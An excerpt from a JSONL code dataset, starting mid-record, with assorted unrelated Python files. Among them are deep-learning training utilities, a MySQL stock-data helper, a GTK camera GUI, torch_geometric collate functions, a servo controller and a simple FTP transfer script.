metric.add(float(l.sum().item()), accuracy(y_hat, y), y.numel())\n # 返回训练损失和训练准确率\n return metric[0] / metric[2], metric[1] / metric[2]\n\n\ndef train_ch3(net, train_iter, test_iter, loss, num_epochs, updater):\n \"\"\"训练模型(定义见第3章)。\"\"\"\n animator = Animator(xlabel='epoch',\n xlim=[1, num_epochs],\n ylim=[0.3, 0.9],\n legend=['train loss', 'train acc', 'test acc'])\n for epoch in range(num_epochs):\n train_metrics = train_epoch_ch3(net, train_iter, loss, updater)\n test_acc = evaluate_accuracy(net, test_iter)\n animator.add(epoch + 1, train_metrics + (test_acc, ))\n train_loss, train_acc = train_metrics\n assert train_loss < 0.5, train_loss\n assert train_acc <= 1 and train_acc > 0.7, train_acc\n assert test_acc <= 1 and test_acc > 0.7, test_acc\n","sub_path":"docs/chapter_linear-networks/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"524540633","text":"import sys\r\nimport datetime\r\nimport pandas as pd\r\nimport pymysql\r\n\r\nclass deco:\r\n @staticmethod\r\n def low_memory_cache(func):\r\n def wraper(*args,**kwargs):\r\n self = args[0]\r\n tb_name = args[1]\r\n if tb_name in self.cache.keys():\r\n return self.cache[tb_name]\r\n\r\n df = func(*args,**kwargs)\r\n self.cache = {}\r\n self.cache[tb_name] = df\r\n return df\r\n return wraper\r\n\r\n @staticmethod\r\n def is_table_existed(func):\r\n def wraper(*args,**kwds):\r\n self = args[0]\r\n tb_name = args[1].lower()\r\n if tb_name not in self.show_tables():\r\n self.create_table(tb_name)\r\n func(*args,**kwds)\r\n return wraper\r\n\r\n @staticmethod\r\n def is_row_existed(func):\r\n def wraper(*args,**kwds):\r\n self = args[0]\r\n tb_name = args[1].lower()\r\n if tb_name not in self.show_tables():\r\n self.create_table(tb_name)\r\n func(*args,**kwds)\r\n return wraper\r\n\r\n\r\n\r\nclass Ground:\r\n def __init__(self):\r\n self.mysql_hander()\r\n self.sqlcnct.cursor().execute(\"use stock;\")\r\n self.cache = {}\r\n\r\n def mysql_hander(self):\r\n self.sqlcnct = pymysql.connect(host='localhost',\r\n user='root',\r\n password='root',\r\n db='stock',\r\n charset='utf8mb4',\r\n cursorclass=pymysql.cursors.DictCursor)\r\n self.cursor = self.sqlcnct.cursor()\r\n\r\n def execute_sql(self, sql):\r\n with self.sqlcnct.cursor() as cursor:\r\n print(sql)\r\n cursor.execute(sql)\r\n self.sqlcnct.commit()\r\n\r\n\r\n @deco.low_memory_cache\r\n def select_table(self,tb_name):\r\n sql = \"SELECT * FROM {tb_name}\".format(tb_name= tb_name)\r\n df = pd.read_sql(sql,self.sqlcnct)\r\n df.set_index(pd.to_datetime(df[\"date\"]) , inplace=True)\r\n df.rename(columns={'date':'date_c'},inplace=True)\r\n # print(\"提取\",tb_name)\r\n df.index.name = tb_name\r\n return df\r\n\r\n def days_range(self,tmstamp,day_lenght,how = \"past\"):\r\n \"\"\"返回 一段时间内的 日期区间\"\"\"\r\n last_tmstamp = tmstamp\r\n tmstamp_d = datetime.datetime.strptime(tmstamp,\"%Y-%m-%d\")\r\n\r\n if how == \"past\":\r\n tmstamp_d = tmstamp_d - datetime.timedelta(days=day_lenght)\r\n elif how ==\"future\":\r\n tmstamp_d = tmstamp_d + datetime.timedelta(days=day_lenght)\r\n else:\r\n raise KeyboardInterrupt(\"only past or future needed\")\r\n\r\n tmstamp = tmstamp_d.strftime(\"%Y-%m-%d\")\r\n\r\n \"\"\"time index must in order\"\"\"\r\n if last_tmstamp < tmstamp:\r\n temp = last_tmstamp\r\n last_tmstamp = tmstamp\r\n tmstamp = temp\r\n\r\n return tmstamp,last_tmstamp\r\n\r\n def check_score(self,df,timestamp,days,how = \"future\"):\r\n \"\"\"算区间涨幅\"\"\"\r\n p,f = self.days_range(timestamp,days,how= how)\r\n # print(p,f,self.check_score.__name__)\r\n\r\n df = df[p:f]\r\n\r\n max_end = df['end'].max()\r\n\r\n if df.empty:\r\n return 0,0\r\n top_profit = round((max_end - df.iloc[0][\"end\"]) / df.iloc[0][\"end\"] * 100, 2)\r\n deadline_profit = round((df.iloc[-1][\"end\"] - df.iloc[0][\"end\"]) / df.iloc[0][\"end\"] * 100, 2)\r\n return deadline_profit,top_profit\r\n\r\n\r\n def select_table_by_days(self,tb_name,timestamp,days,how = \"past\"):\r\n df = self.select_table(tb_name)\r\n p,f = self.days_range(timestamp, days, how = how)\r\n df = df[p:f]\r\n return df\r\n\r\n","sub_path":"core/fundamental.py","file_name":"fundamental.py","file_ext":"py","file_size_in_byte":3765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"319446869","text":"import unicodedata\nimport goslate\nimport click\nimport os \n\ndef remove_tildes(textstring):\n textstring = textstring.decode('utf-8')\n s = ''.join((c for c in unicodedata.normalize('NFD',unicode(textstring)) if unicodedata.category(c) != 'Mn'))\n return s.decode()\n\ndef validate_long_text(text, lang='es', limit_length=400):\n Translator = goslate.Goslate()\n string = \"\"\n length = len(text)\n total = length / limit_length\n parts = [(0, limit_length)]\n for i in range(total-len(parts)):\n t = (int(parts[-1][0])+limit_length, int(parts[-1][1])+limit_length)\n parts.append(t)\n parts.append((int(parts[-1][1])+1, length-1))\n for i in parts:\n translate = Translator.translate(text[i[0]:i[1]], lang)\n string = string + translate\n return string\n\ndef validate_lanuage(lang):\n gs = goslate.Goslate()\n if lang in gs.get_languages():\n return True\n return False\n\n\n \n\n","sub_path":"scripts/po_translator/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"909940","text":"#!/usr/bin/env python\n#coding: utf8\n\nimport sys\nimport gtk\nimport glib\nimport scipy as S\nimport matplotlib.cm\n\nfrom Camera import CameraError\nimport CameraImage\nfrom AwesomeColorMaps import awesome, isoluminant\nimport ColorMapIndicator\nimport CameraDialog\nimport DeltaDetector\nimport MinMaxDisplay\nimport BeamProfiler\n\nclass MainWindow:\n '''The main window for the Beams application.'''\n\n # Current folder for file dialog\n _current_folder = None\n\n # Wrappers for C signal handlers called from gtk.Builder\n def gtk_widget_hide(self, widget, *args):\n widget.hide()\n\n def gtk_widget_hide_on_delete(self, widget, *args):\n return widget.hide_on_delete()\n\n def gtk_main_quit_on_delete(self, widget, *args):\n gtk.main_quit()\n return False\n\n # Signal handlers\n def action_about(self, action, data=None):\n self.about_window.present()\n \n def action_save(self, action, data=None):\n # First make a copy of the frame we will save\n save_frame = self.webcam.frame.copy()\n \n # Then find out where to save it\n dialog = gtk.FileChooserDialog('Save Image', self.main_window,\n gtk.FILE_CHOOSER_ACTION_SAVE,\n (gtk.STOCK_CANCEL, gtk.RESPONSE_REJECT,\n gtk.STOCK_OK, gtk.RESPONSE_ACCEPT))\n try:\n dialog.set_current_folder(self._current_folder)\n except TypeError:\n pass # thrown if current folder is None\n response = dialog.run()\n path = dialog.get_filename()\n \n # Store the directory for the next time\n self._current_folder = dialog.get_current_folder()\n \n dialog.destroy()\n if response != gtk.RESPONSE_ACCEPT:\n return\n \n # Default is PNG\n if '.' not in path:\n path += '.png'\n\n # Save it\n S.misc.imsave(path, save_frame)\n \n def action_choose_camera(self, action, data=None):\n self.cameras_dialog.show()\n \n def action_configure_camera(self, action, data=None):\n self.webcam.configure()\n \n def action_find_resolution(self, action, data=None):\n pass\n \n def action_take_video(self, action, data=None):\n # Set the 'Take Photo' action insensitive if 'Take Video' is on\n self.actiongroup.get_action('take_photo').set_sensitive(not action.get_active())\n \n if action.get_active():\n self.idle_id = glib.idle_add(self.image_capture)\n else:\n glib.source_remove(self.idle_id)\n \n def action_take_photo(self, action, data=None):\n self.image_capture()\n \n def action_quit(self, action, data=None):\n gtk.main_quit()\n \n def on_rotate_box_changed(self, combo, data=None):\n self.screen.rotate = combo.props.active\n \n def on_detect_toggle_toggled(self, box, data=None):\n self.delta.active = box.props.active\n\n def on_minmax_toggle_toggled(self, box, data=None):\n self.minmax.active = box.props.active\n\n def on_profiler_toggle_toggled(self, box, data=None):\n self.profiler.active = box.props.active\n \n def on_delta_threshold_value_changed(self, spin, data=None):\n self.delta.threshold = spin.props.value\n\n available_colormaps = {\n 0: None,\n 1: matplotlib.cm.gray,\n 2: matplotlib.cm.bone,\n 3: matplotlib.cm.pink,\n 4: matplotlib.cm.jet,\n 5: isoluminant,\n 6: awesome\n }\n\n def on_colorscale_box_changed(self, combo, data=None):\n cmap_index = self.available_colormaps[combo.props.active]\n self.screen.cmap = cmap_index\n self.cmap_sample.cmap = cmap_index\n\n def on_cameras_response(self, dialog, response_id, data=None):\n self.cameras_dialog.hide()\n \n if response_id == gtk.RESPONSE_CLOSE:\n info = self.cameras_dialog.get_plugin_info()\n self.select_plugin(*info)\n \n # Image capture timeout\n def image_capture(self):\n try:\n self.webcam.query_frame()\n except CameraError:\n errmsg = gtk.MessageDialog(parent=self.main_window, \n flags=gtk.DIALOG_MODAL, \n type=gtk.MESSAGE_ERROR,\n buttons=gtk.BUTTONS_CLOSE,\n message_format='There was an error reading from the camera.')\n errmsg.run()\n sys.exit()\n \n self.screen.data = self.webcam.frame\n \n # Send the frame to the processing components\n if self.delta.active:\n self.delta.send_frame(self.webcam.frame)\n if self.minmax.active:\n self.minmax.send_frame(self.webcam.frame)\n if self.profiler.active:\n self.profiler.send_frame(self.webcam.frame)\n\n return True # keep the idle function going\n \n # Select camera plugin\n def select_plugin(self, module_name, class_name):\n self._camera_module = __import__(module_name)\n self._camera_class = getattr(self._camera_module, class_name)\n\n # Set up image capturing\n self.webcam = self._camera_class(cam=0) # index of camera to be used\n try:\n self.webcam.open()\n except CameraError:\n errmsg = gtk.MessageDialog(parent=self.main_window, \n flags=gtk.DIALOG_MODAL, \n type=gtk.MESSAGE_ERROR,\n buttons=gtk.BUTTONS_CLOSE,\n message_format='No camera was detected. Did you forget to plug it in?')\n errmsg.run()\n sys.exit()\n \n # Set up resolution box\n self.resolutions.clear()\n for (w, h) in self.webcam.find_resolutions():\n it = self.resolutions.append(['{0} x {1}'.format(w, h), w, h])\n self.resolution_box.props.active = 0\n \n # Change camera info label\n self.camera_label.props.label = \\\n 'Camera: {}'.format(self.webcam.id_string)\n\n def __init__(self):\n # Load our user interface definition\n builder = gtk.Builder()\n builder.add_from_file('../data/Beams.ui')\n\n # Load our menu/toolbar definition\n manager = gtk.UIManager()\n manager.add_ui_from_file('../data/menus.xml')\n\n # Add all the actions to an action group for the menu and toolbar\n self.actiongroup = builder.get_object('actiongroup')\n manager.insert_action_group(self.actiongroup)\n\n # Build the window\n self.main_window = builder.get_object('main_window')\n self.main_window.get_child().pack_start(manager.get_widget('/menubar'), expand=False)\n self.main_window.get_child().pack_start(manager.get_widget('/toolbar'), expand=False)\n \n self.screen = CameraImage.CameraImage()\n self.screen.set_size_request(640, 480)\n builder.get_object('main_hbox').pack_start(self.screen)\n \n self.cmap_sample = ColorMapIndicator.ColorMapIndicator()\n self.cmap_sample.set_size_request(128, 10)\n builder.get_object('colorscale_vbox').pack_start(self.cmap_sample)\n\n # Build the camera selection dialog box\n self.cameras_dialog = CameraDialog.CameraDialog()\n self.cameras_dialog.connect('response', self.on_cameras_response)\n \n # Build the beam profiler\n self.profiler = BeamProfiler.BeamProfiler(self.screen)\n builder.get_object('profiler_toggle').props.active = self.profiler.active\n\n # Build the min-max display\n self.minmax = MinMaxDisplay.MinMaxDisplay(self.screen)\n builder.get_object('minmax_toggle').props.active = self.minmax.active\n\n # Build the delta detector\n self.delta = DeltaDetector.DeltaDetector(self.screen)\n builder.get_object('detect_toggle').props.active = self.delta.active\n builder.get_object('delta_threshold').props.value = self.delta.threshold\n\n # Save pointers to other widgets\n self.about_window = builder.get_object('about_window')\n self.colorscale_box = builder.get_object('colorscale_box')\n self.resolution_box = builder.get_object('resolution_box')\n self.resolutions = builder.get_object('resolutions')\n self.camera_label = builder.get_object('camera_label')\n self.current_delta = builder.get_object('current_delta')\n\n # Open the default plugin\n info = self.cameras_dialog.get_plugin_info()\n try:\n self.select_plugin(*info)\n except ImportError:\n # some module was not available, select the dummy\n self.cameras_dialog.select_fallback()\n info = self.cameras_dialog.get_plugin_info()\n self.select_plugin(*info)\n\n # Connect the signals last of all\n builder.connect_signals(self, self)\n\nif __name__ == '__main__':\n mainwin = MainWindow()\n mainwin.main_window.show_all()\n gtk.main()\n","sub_path":"src/MainWindow.py","file_name":"MainWindow.py","file_ext":"py","file_size_in_byte":8818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"556995703","text":"import datetime\n\nfrom pinax.apps.signup_codes.models import SignupCode\n\ntry:\n from django.utils.timezone import now\nexcept ImportError:\n now = datetime.datetime.now\n\n\ndef stats():\n return {\n \"signup_codes_total\": SignupCode.objects.count(),\n \"signup_codes_sent\": SignupCode.objects.filter(sent__isnull=True).count(),\n \"signup_codes_used\": SignupCode.objects.filter(use_count__gt=0).count(),\n \"signup_codes_expired\": SignupCode.objects.exclude(\n expiry__isnull=True\n ).filter(\n expiry__lte=now(),\n use_count=0\n ).count()\n }\n","sub_path":"pinax/apps/signup_codes/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"56361787","text":"import csv\r\n\r\ndef countUniqueNames(billFirstName, billLastName, shipFirstName, shipLastName, billNameOnCard):\r\n counter=1\r\n if (IsSamePerson(billFirstName, shipFirstName) == False):\r\n counter+=1\r\n if (counter == 1):\r\n if (IsSamePerson(billLastName, shipLastName) == False):\r\n counter+=1\r\n\r\n firstNameOnCard = billNameOnCard.split()[0]\r\n lastNameOnCard = billNameOnCard.split()[-1]\r\n\r\n if (IsSamePerson(billFirstName, firstNameOnCard) == False & IsSamePerson(shipFirstName, firstNameOnCard) == False):\r\n if (IsSamePerson(billLastName, lastNameOnCard) == False & IsSamePerson(shipLastName, lastNameOnCard) == False):\r\n firstNameOnCard = billNameOnCard.split()[-1]\r\n lastNameOnCard = billNameOnCard.split()[0]\r\n if (IsSamePerson(billFirstName, firstNameOnCard) == False & IsSamePerson(shipFirstName, firstNameOnCard) == False):\r\n if (IsSamePerson(billLastName, lastNameOnCard) == False & IsSamePerson(shipLastName, lastNameOnCard) == False):\r\n counter+=1\r\n return counter\r\n \r\ndef Nickname(billFirstName, shipFirstName):\r\n #check whether both billFirstName and shipFirstName refer to the same person.\r\n with open('nicknames.csv', 'rb') as csvfile:\r\n allNames = csv.reader(csvfile)\r\n for row in allNames:\r\n if ((row[1].replace(\" \", \"\").lower() == billFirstName.lower()) & (row[2].replace(\" \", \"\").lower() == shipFirstName.lower())):\r\n return True \r\n if ((row[2].replace(\" \", \"\").lower() == billFirstName.lower()) & (row[1].replace(\" \", \"\").lower() == shipFirstName.lower())):\r\n return True\r\n return False\r\n\r\ndef IsTypo(firstName, secondName):\r\n #if both names are completely the same or one of them has a typo - return true.\r\n #if the names are completely different - return false.\r\n firstName = firstName.lower()\r\n secondName = secondName.lower()\r\n count = 0\r\n if (len(firstName) == len(secondName)): \r\n for i in range(0, len(firstName)):\r\n if (firstName[i] != secondName[i]):\r\n count += 1\r\n if (count<2):\r\n return True\r\n count = 0\r\n j=0\r\n if (len(firstName) == (len(secondName) + 1)):\r\n for i in range(0, len(secondName)):\r\n if count == 0:\r\n if (firstName[j] != secondName[i]):\r\n j+=1\r\n count+=1\r\n if (firstName[j] != secondName[i]):\r\n count+=1\r\n else:\r\n if (firstName[j] != secondName[i]):\r\n count+=1 \r\n j+=1 \r\n if (count<2):\r\n return True\r\n count = 0\r\n j=0\r\n if (len(firstName) == (len(secondName) - 1)):\r\n for i in range(0, len(firstName)):\r\n if count == 0:\r\n if (firstName[i] != secondName[j]):\r\n j+=1\r\n count+=1\r\n if (firstName[i] != secondName[j]):\r\n count+=1\r\n else:\r\n if (firstName[i] != secondName[j]):\r\n count+=1 \r\n j+=1 \r\n if (count<2):\r\n return True\r\n \r\n return False\r\n\r\ndef IsFirstMiddle(firstName):\r\n #check whether the there is a middle name in FirstName.\r\n if (len(firstName.split()) > 1):\r\n return True\r\n return False\r\n\r\n\r\ndef IsMiddleOnCard(cardName):\r\n #check whether the there is a middle name in NameOnCard.\r\n if (len(cardName.split()) > 2):\r\n return True\r\n return False\r\n\r\n\r\ndef IsSamePerson(firstName, secondName):\r\n #check whether both names refer to the same person.\r\n if (firstName != secondName):\r\n if (IsFirstMiddle(firstName)):\r\n firstName = firstName.split()[0]\r\n if (IsFirstMiddle(secondName)):\r\n secondName = secondName.split()[0]\r\n if ((Nickname(firstName, secondName) == False) & (IsTypo(firstName, secondName) == False)):\r\n return False\r\n return True\r\n","sub_path":"NameCount.py","file_name":"NameCount.py","file_ext":"py","file_size_in_byte":4081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"640822464","text":"#! python3\r\n# -*- coding:utf-8 -*-\r\n'''\r\nTitle: 质检计量系统合同管理功能测试\r\nDescription: 新增施工合同、编辑合同、删除合同、快速搜索合同相关功能测试\r\n@author: Xushenwei\r\n@update: 2017年12月25日\r\n'''\r\nimport unittest, os, time, sys\r\nsys.path.insert(0,r'D:\\AutomatedTestScripts\\IM\\Functions')\r\nfrom login_IM import Login_IM as LI \r\nfrom clean_contract import clean_contract as CC\r\nsys.path.insert(0,r'D:\\AutomatedTestScripts\\IM\\Functions\\工程管理')\r\nfrom ContractManagementFunctions import ContractManagementFunctions as CMF \r\nfrom ProjectDivideFunctions import ProjectDivideFunctions as PDF \r\nfrom InventoryManagementFunctions import InventoryManagementFunctions as IMF \r\nsys.path.insert(0,r'D:\\AutomatedTestScripts\\IM\\Functions\\签证变更')\r\nfrom ConstructionChangeFunctions import ConstructionChangeFunctions as CCF \r\nfrom DayworkVisaFunctions import DayworkVisaFunctions as DVF \r\nsys.path.insert(0,r'D:\\AutomatedTestScripts\\IM\\Functions\\质检评定')\r\nfrom ConstructionStartingReportFunctions import ConstructionStartingReportFunctions as CSRF \r\nfrom ExamineEvaluateFunctions import ExamineEvaluateFunctions as EEF\r\nsys.path.insert(0,r'D:\\AutomatedTestScripts\\IM\\Functions\\计量支付')\r\nfrom MiddleMeasurementFunctions import MiddleMeasurementFunctions as MMF\r\nfrom MeasurementPaymentFuntions import MeasurementPaymentFuntions as MPF\r\n\r\n\r\ndef now():\r\n\t\"\"\"返回当前时间\"\"\"\r\n\treturn time.strftime(\"%Y-%m-%d %H:%M:%S\")\r\n\r\n\r\nclass TestCaseIM(unittest.TestCase):\r\n\r\n\tdef setUp(self):\r\n\t\tprint(\"test module start >>>>>>>>>>>\" + now())\r\n\t\tLI().start_BECivil()\r\n\t\tLI().start_IM()\r\n\t\tprint(\"\\n>>>>>>>>成功登陆IM\")\r\n\r\n\r\n\tdef test_IM(self):\r\n\t\t\"\"\"启动BECivil以及启动IM\"\"\"\r\n\t\t\r\n\t\tCMF().contract_management_operation()\r\n\t\ttime.sleep(3)\r\n\t\tCMF().check_contract_message()\r\n\t\tprint(\"\\n>>>>>>>>合同信息验证成功\")\r\n\r\n\t\tPDF().project_divide_operation()\r\n\t\ttime.sleep(3)\r\n\t\tPDF().check_add_project_message()\r\n\t\tPDF().check_project_approval_message()\r\n\t\tprint(\"\\n>>>>>>>>工程划分验证成功\")\r\n\r\n\t\tIMF().inventory_management_operation()\r\n\t\ttime.sleep(3)\r\n\t\tIMF().check_contract_list_message()\r\n\t\tIMF().check_paper_quantity_message()\r\n\t\tprint(\"\\n>>>>>>>>清单管理验证成功\")\r\n\r\n\t\tCCF().begin_change()\r\n\t\ttime.sleep(3)\r\n\t\tCCF().check_change_request_message()\r\n\t\tCCF().check_change_list_message()\r\n\t\tprint(\"\\n>>>>>>>>变更工程验证成功\")\r\n\t\t\r\n\t\tDVF().day_count_visa()\r\n\t\ttime.sleep(3)\r\n\t\tDVF().check_begin_daywork_message()\r\n\t\tDVF().check_daywork_visa_message()\r\n\t\tDVF().check_change_list_message()\r\n\t\tprint(\"\\n>>>>>>>>计日工签证验证成功\")\r\n\r\n\t\tCSRF().construction_starting_report_operation()\r\n\t\ttime.sleep(3)\r\n\t\tCSRF().check_start_up_message()\r\n\t\tprint(\"\\n>>>>>>>>开工报告验证成功\")\r\n\r\n\t\tEEF().examine_evaluate_operation()\r\n\t\ttime.sleep(3)\r\n\t\tEEF().check_examine_forms_message()\r\n\t\tprint(\"\\n>>>>>>>>检验评定验证成功\")\r\n\r\n\t\tMMF().middle_measurement_operation()\r\n\t\ttime.sleep(3)\r\n\t\tMMF().check_middle_measurement_message()\r\n\t\tprint(\"\\n>>>>>>>>中间计量验证成功\")\r\n\r\n\t\tMPF().measurement_payment_operation()\r\n\t\ttime.sleep(3)\r\n\t\tMPF().check_measurement_payment_message()\r\n\t\tprint(\"\\n>>>>>>>>计量支付验证成功\")\r\n\t\ttime.sleep(2)\r\n\t\t\r\n\t\t\r\n\r\n\tdef tearDown(self):\r\n\t\tCMF().delete_contract_management()\r\n\t\ttime.sleep(5)\r\n\t\tCC()\r\n\t\tprint(\"\\n>>>>>>>>已成功清理标记删除的合同\")\r\n\t\tLI().quit_IM()\r\n\t\ttime.sleep(2)\r\n\t\tLI().quit_BECivil()\r\n\t\tprint(\"test module end >>>>>>>>>>>\" + now())\r\n\r\n\r\nunittest.main()","sub_path":"IM/Test/run_test.py","file_name":"run_test.py","file_ext":"py","file_size_in_byte":3518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"454435382","text":"import itertools\n\nimport torch\nfrom torch_geometric.data import Data\n\n\ndef collate_to_set(data_list):\n keys = data_list[0].keys()\n dataset = {key: [] for key in keys}\n slices = {key: [0] for key in keys}\n dims = {key: 0 for key in keys}\n dims['edge_index'] = 1\n\n for data, key in itertools.product(data_list, keys):\n dataset[key].append(data[key])\n slices[key].append(slices[key][-1] + data[key].size(dims[key]))\n\n for key in keys:\n dataset[key] = torch.cat(dataset[key], dim=dims[key])\n slices[key] = torch.LongTensor(slices[key])\n\n return Data.from_dict(dataset), slices\n\n\ndef collate_to_batch(data_list):\n keys = data_list[0].keys()\n batch = {key: [] for key in keys}\n batch['batch'] = []\n dims = {key: 0 for key in keys}\n dims['edge_index'] = 1\n dims['batch'] = 0\n\n for data, key in itertools.product(data_list, keys):\n batch[key].append(data[key])\n\n cum_num_nodes = [0]\n for idx, data in enumerate(data_list):\n cum_num_nodes.append(cum_num_nodes[-1] + data.num_nodes)\n batch['batch'].append(torch.LongTensor(data.num_nodes).fill_(idx))\n\n if 'edge_index' in keys:\n data = batch['edge_index']\n for i, _ in enumerate(data):\n data[i] = data[i] + cum_num_nodes[i]\n\n if 'face' in keys:\n data = batch['face']\n for i, _ in enumerate(data):\n data[i] = data[i] + cum_num_nodes[i]\n\n for key in batch.keys():\n batch[key] = torch.cat(batch[key], dim=dims[key])\n\n data = Data.from_dict(batch)\n data = data.contiguous()\n\n return data\n","sub_path":"torch_geometric/data/collate.py","file_name":"collate.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"179794405","text":"# Practical Programming in Python, Autumn 2018\r\n# Exercises Round 3: Basic dictionaries:\r\n# Parameter indices #3\r\n\r\n# Receives one parameter: a list of values.\r\n# You do not need to care about the types of the values.\r\n# Returns a dict that contains a key-value mapping \"value : [indices]\" \r\n# for each value in the parameter list.\r\n# Here [indices] is a list that lists all indices where that particular \r\n# value occurs within the parameter list. The index values in the list \r\n# should be in ascending order.\r\ndef indexDict(vals):\r\n\tvaldict = {}\t\r\n\tfor i, v in enumerate(vals):\r\n\t\t# store values that correspond to the key, to a list\r\n\t\tif v not in valdict:\r\n\t\t\tvaldict[v] = [i]\r\n\t\telse:\r\n\t\t\tvaldict[v].append(i)\r\n\treturn valdict\r\n","sub_path":"ex3.1/parameterIndices3.py","file_name":"parameterIndices3.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"342000718","text":"#Script meant to check yaml script and check if packages are up to date\r\nimport os\r\nimport sys\r\nimport yaml\r\nimport importlib\r\nimport subprocess\r\nimport pkg_resources\r\n#make list of packages in yaml file\r\na_yaml_file = open(\"environment.yml\")\r\nparsed_yaml_file = yaml.load(a_yaml_file, Loader=yaml.FullLoader)\r\n#print(parsed_yaml_file)\r\npack_split = []\r\nversion = {}\r\nfor packs in parsed_yaml_file['dependencies']:\r\n pack = packs.split('=')\r\n if len(pack) == 2:\r\n version[pack[0]] = pack[1]\r\n pack_split += pack\r\n#seperates package name from version number\r\npackages = []\r\n\r\nfor index,packs in enumerate(pack_split):\r\n try:\r\n float(packs)\r\n except ValueError:\r\n packages.append(packs)\r\n#has list of installed packages for environment\r\n#print(packages)\r\nfor p in packages:\r\n #checks if package is installed\r\n if p != 'python' and importlib.util.find_spec(p) is None:\r\n print(\"[\" + p + \"] is not installed.\")\r\n elif p in version:\r\n size = len(version[p])\r\n if p == 'python':\r\n sys_ver = sys.version[:size]\r\n else:\r\n sys_ver = str(subprocess.run([sys.executable, '-m', 'pip', 'show', '{}'.format(p)],\r\n capture_output=True, text=True))\r\n \r\n sys_ver = sys_ver[sys_ver.find('Version:')+8:]\r\n sys_ver = sys_ver[:sys_ver.find('\\\\n')].replace(' ','')\r\n sys_ver = sys_ver[:size]\r\n if sys_ver != version[p]:\r\n print(\"[\" + p + \"] is not correct version. Correct version: \" + version[p])\r\n else:\r\n print(\"[\" + p + \"] version is correct\")\r\n else:\r\n # print(p +\": \" + pkg_resources.get_distribution(p).version)\r\n latest_version = str(subprocess.run([sys.executable, '-m', 'pip', 'install', '{}==random'.format(p)],\r\n capture_output=True, text=True))\r\n latest_version = latest_version[latest_version.find('(from versions:')+15:]\r\n latest_version = latest_version[:latest_version.find(')')]\r\n latest_version = latest_version.replace(' ','').split(',')[-1]\r\n #checks if current version is equal to latest version\r\n if(pkg_resources.get_distribution(p).version != latest_version):\r\n print(\"[\" + p + \"] is not up to date. Latest version is \" + latest_version)\r\n \r\n #current_version = str(subprocess.run([sys.executable, '-m', 'pip', 'show', '{}'.format(name)],\r\n # capture_output=True, text=True))\r\n #current_version = current_version[current_version.find('Version:')+8:]\r\n #current_version = current_version[:current_version.find('\\\\n')].replace(' ','')\r\n\r\n","sub_path":"check_env.py","file_name":"check_env.py","file_ext":"py","file_size_in_byte":2680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"40050254","text":"\"\"\"\nInput: sorted increasing order array with unique int elements\nOutput: BST with minimal height\n\nRuntime: O(n)?\n\"\"\"\n\n\nclass TreeNode:\n def __init__(self, value):\n self.value = value\n self.left = None\n self.right = None\n\n\ndef minimal_tree(arr):\n if not arr:\n return None\n if len(arr) == 1:\n return TreeNode(arr[0])\n\n middle = len(arr) // 2\n tree = TreeNode(arr[middle])\n tree.left = minimal_tree(arr[:middle])\n tree.right = minimal_tree(arr[middle + 1:])\n return tree\n\n\ndef list_inorder_traversal_alt(root):\n \"\"\"\n Recursive solution\n Returns in-order traversal of binary tree as a list.\n \"\"\"\n\n def inorder_traversal(root, inorder):\n if root is None:\n return\n inorder_traversal(root.left, inorder)\n inorder.append(root.value)\n inorder_traversal(root.right, inorder)\n return inorder\n\n return inorder_traversal(root, [])\n\n\nbst = minimal_tree([1, 2, 3, 4, 5, 6, 7])\nassert list_inorder_traversal_alt(bst) == [1, 2, 3, 4, 5, 6, 7]\n\nbst = minimal_tree([-10, -3, 0, 5, 9])\n","sub_path":"trees/minimal_tree.py","file_name":"minimal_tree.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"449243243","text":"import time\nimport RPi.GPIO as GPIO\n\ndef setup():\n pin = 18\n GPIO.setmode(GPIO.BCM)\n GPIO.setup(pin, GPIO.OUT)\n servo = GPIO.PWM(pin, 50)\n servo.start(0.0)\n time.sleep(0.5)\n return servo\n\ndef reset_position(servo):\n print(\"reset\")\n servo.ChangeDutyCycle(8.8)\n time.sleep(0.5)\n\ndef on(servo):\n print(\"on\")\n servo.ChangeDutyCycle(10.0)\n time.sleep(0.5)\n\ndef off(servo):\n print(\"off\")\n servo.ChangeDutyCycle(7.5)\n time.sleep(0.5)\n\n\nif __name__==\"__main__\":\n\n servo = setup()\n\n reset_position(servo)\n time.sleep(0.1)\n\n off(servo)\n time.sleep(0.1)\n\n reset_position(servo)\n time.sleep(0.1)\n\n GPIO.cleanup()\n","sub_path":"Actuator/servo_off.py","file_name":"servo_off.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"326821947","text":"import ftplib\r\nimport os\r\n\r\nftp = ftplib.FTP()\r\nhost = \"ftp.server.com\"\r\nport = 2121\r\n\r\ntry:\r\n ftp.connect(host, port)\r\n ftp.login('usernamer','xxxxxxxx')\r\n ftp.cwd('/domains/user/public_html/')\r\n print (\"Connect FTP successfully\")\r\nexcept :\r\n print (\"failed to connect\")\r\n\r\ndef downloadFile():\r\n filename = 'htaccess.txt'\r\n file = open(filename, 'wb')\r\n ftp.retrbinary(\"RETR \" + filename, file.write ,1024)\r\n file.close()\r\n ftp.quit()\r\n\r\ndef uploadFile():\r\n file = open('foo.txt','rb')\r\n ftp.storbinary('STOR foo.txt', file)\r\n file.close()\r\n 